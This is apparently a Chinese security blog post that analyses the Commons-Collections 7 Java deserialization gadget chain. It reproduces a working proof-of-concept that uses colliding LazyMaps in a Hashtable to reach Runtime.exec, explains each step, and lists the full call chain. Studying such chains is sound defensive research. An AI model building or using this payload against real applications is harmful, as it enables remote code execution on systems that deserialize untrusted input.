Commons-Collections7反序列化

其实该条利用链和cc5也是大同小异,也是利用LazyMap去触发的,只不过入口点换成了Hashtable

我们先来直接看看网上的poc然后跟着分析分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
  final String[] execArgs = new String[]{"calc"};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

问题1

从poc中我们可以看到进行了Hashtable两次put而且都是相同的key,为什么要这样做?我们直接看其readObject方法就不倒着调试了。

ements代表键值对的个数,我们创建Hashtable时传入了两个键值对,故elements=2

可以看到在readObject中的for循环里读出了序列化写进去的key 和 value值 这里可以看到第一次循环获取的是第一次hashtable put的key 和 value值然后跟到reconstitutionPut方法看看

从调试信息以及代码可以看出第一次for循环是没有进去的,是因为这里的tab是空的所以没法进入,而我们发现他在后面又直接将我们传入过来的key(第一个传入的lazymap) 和 value (值为1)又直接实例化到tab里面了。

所以继续跟进:

等到第二次传进来的值的时候就可以进入for循环了,这就是为什么我们需要两次传入同样的key,这时会在for循环里调用e.key也就等于LazyMap对象(第一次传入的)的equals方法并且传入的参数key也是LazyMap对象是第二次hashtable put进来的,但是这里有一个问题是我们去查看LazyMap并没有发现equals方法,于是我们去找他的父类发现在AbstractMapDecorator这个抽象类里实现了equals方法我们继续跟进看看

这里我们知道LazyMap也是put两个一样的key是hashmap对象所以这里会调用hashmap的equals方法

但是同样他也没有equals方法所以直接到它的父类AbstractMap里看

此时value并不为空所以进入到equals方法中且调用了get方法,此时的m就是第二次put进来的LazyMap对象,

所以也就触发了rce(后续一系列的过程跟其它lazymap很像)就不再一一跟了。

补充说明:这里分析的有点问题,这里涉及到hash碰撞的问题建议先参考:https://www.anquanke.com/post/id/248169#h3-4

http://myblog.ac.cn/archives/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcommoncollections7%E5%88%A9%E7%94%A8%E9%93%BE#%E6%8E%A7%E5%88%B6%E5%93%88%E5%B8%8C%EF%BC%88%E9%87%8D%E7%82%B9%EF%BC%89

问题2

为什么要反射修改ChainedTransformer的属性值

经过调试我们发现在hashtable对象进行put的时候也会调用到equals方法具体参照问题1的分析

所以在序列化之前我们先传一个不能够执行命令的invokertransformer对象。

问题3

为什么要删除laymap2中的key值呢,其实这里我们可以参考cc6链中为什么在序列化之前移除key一样,因为lazyMap执行get方法需要保证不存在这个值

而我们通过参考https://www.anquanke.com/post/id/248169#h2-6文章和自己调试也发现我们在进行put的时候也会调用上面所分析的一系列方法导致最后put时最后调用get的时候我们会传入yy方法此时呢map对象是lazymap2其中是没有yy的值的但是

我们发现他会put进去,所以我们需要在序列化之前将其值删除掉,这样在反序列化的时候我们才能进入判断条件从而调用transform方法。

cc7调用链

直接贴原作的

1
2
3
4
5
6
7
8
9
10
11
12
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec